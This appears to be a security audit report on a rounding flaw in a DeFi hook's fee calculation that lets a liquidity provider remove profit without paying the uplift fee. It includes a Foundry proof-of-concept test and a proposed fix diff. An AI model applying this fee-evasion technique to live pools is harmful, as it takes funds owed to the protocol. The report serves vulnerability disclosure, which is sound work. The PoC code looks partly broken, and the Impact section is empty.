Summary
In onAfterRemoveLiquidity function if there is a positive change in price user pays fees to the hook depending on the bptamount being removed
however, due to wrong calculation, a round down happens and the user can take profit without paying any fees.
Vulnerability Details
The equation to calculate if there is a positive change in price or not is calculated as follows
File: UpliftOnlyExample.sol
474: localData.lpTokenDepositValueChange =
475: (int256(localData.lpTokenDepositValueNow) - int256(localData.lpTokenDepositValue)) /
476: int256(localData.lpTokenDepositValue);
The equation has a severe issue as the user can take profit up to (lpTokenDepositValue * 2) - 1
ex: if the price in the deposit was 2 then at the time of removing liquidity user can remove up to 3 without paying fees and pays fees as there is no profit happened
POC
Add this test at the end of UpliftExample.t.sol contract
it has comments showing the right amount that should have been subtracted and the wrong amount that was applied
function testRemoveLiquidityWithProtocolTakeNearDoublePositivePriceChangeWithoutPayingFees() public {
vm.prank(address(vaultAdmin));
updateWeightRunner.setQuantAMMUpliftFeeTake(0.5e18);
vm.stopPrank();
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
int256[] memory prices = new int256[]();
for (uint256 i = 0; i < tokens.length; ++i) {
prices[i] = int256(i) * 1.9e18;
}
updateWeightRunner.setMockPrices(pool, prices);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
BaseVaultTest.Balances memory balancesBefore = getBalances(updateWeightRunner.getQuantAMMAdmin());
vm.startPrank(bob);
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
vm.stopPrank();
BaseVaultTest.Balances memory balancesAfter = getBalances(updateWeightRunner.getQuantAMMAdmin());
uint256 feeAmountAmountPercentpsitivechange = ((bptAmount / 2) *
((uint256(upliftOnlyRouter.upliftFeeBps()) * 1e18) / 10000)) / ((bptAmount / 2));
uint256 amountOutPositiveChange = (bptAmount / 2).mulDown((1e18 - feeAmountAmountPercentpsitivechange));
uint256 feeAmountAmountPercent = ((bptAmount / 2) *
((uint256(upliftOnlyRouter.minWithdrawalFeeBps()) * 1e18) / 10000)) / ((bptAmount / 2));
uint256 amountOut = (bptAmount / 2).mulDown((1e18 - feeAmountAmountPercent));
assertEq(
balancesAfter.bobTokens[daiIdx] - balancesBefore.bobTokens[daiIdx],
amountOut,
"bob's DAI amount is wrong"
);
assertEq(
balancesAfter.bobTokens[usdcIdx] - balancesBefore.bobTokens[usdcIdx],
amountOut,
"bob's USDC amount is wrong"
);
assertNotEq(
balancesAfter.bobTokens[daiIdx] - balancesBefore.bobTokens[daiIdx],
amountOutPositiveChange,
"bob's DAI amount is wrong"
);
assertNotEq(
balancesAfter.bobTokens[usdcIdx] - balancesBefore.bobTokens[usdcIdx],
amountOutPositiveChange,
"bob's USDC amount is wrong"
);
}
Impact
Tools Used
manual review
Recommendations
apply this adjustment
this code applies a check if ( lpTokenDepositValueNow > lpTokenDepositValue )
to apply whether the fee for positive change or negative using the same original formula
-- localData.lpTokenDepositValueChange =
-- (int256(localData.lpTokenDepositValueNow) - ----int256(localData.lpTokenDepositValue)) /
-- int256(localData.lpTokenDepositValue);
--
-- uint256 feePerLP;
-- // if the pool has increased in value since the deposit, the fee is calculated based on the deposit value
-- if (localData.lpTokenDepositValueChange > 0) {
-- feePerLP =
-- (uint256(localData.lpTokenDepositValueChange) * (uint256(feeDataArray[i].upliftFeeBps) * 1e18)) /
-- 10000;
-- }
-- // if the pool has decreased in value since the deposit, the fee is calculated based on the base value - see wp
-- else {
-- //in most cases this should be a normal swap fee amount.
-- //there always myst be at least the swap fee amount to avoid deposit/withdraw attack surgace.
-- feePerLP = (uint256(minWithdrawalFeeBps) * 1e18) / 10000;
-- }
++ uint256 feePerLP;
++
++ // If the LP token deposit value has increased
++ if (localData.lpTokenDepositValueNow > localData.lpTokenDepositValue) {
++ // Calculate the percentage change in value
++ localData.lpTokenDepositValueChange =
++ (1e18 * (int256(localData.lpTokenDepositValueNow) - int256(localData.lpTokenDepositValue))) /
++ int256(localData.lpTokenDepositValue);
++
++ // Calculate the fee per LP based on the uplift fee
++ // 1e18 is used to maintain precision
++ feePerLP =
++ (uint256(localData.lpTokenDepositValueChange) * uint256(feeDataArray[i].upliftFeeBps)) /
++ 10000;
++ } else {
++ // If the pool value has decreased since deposit, calculate a base fee
++ // This ensures there's always at least the swap fee to avoid attacks during deposit/withdrawal cycles
++ feePerLP = (uint256(minWithdrawalFeeBps) * 1e18) / 10000;
++ }
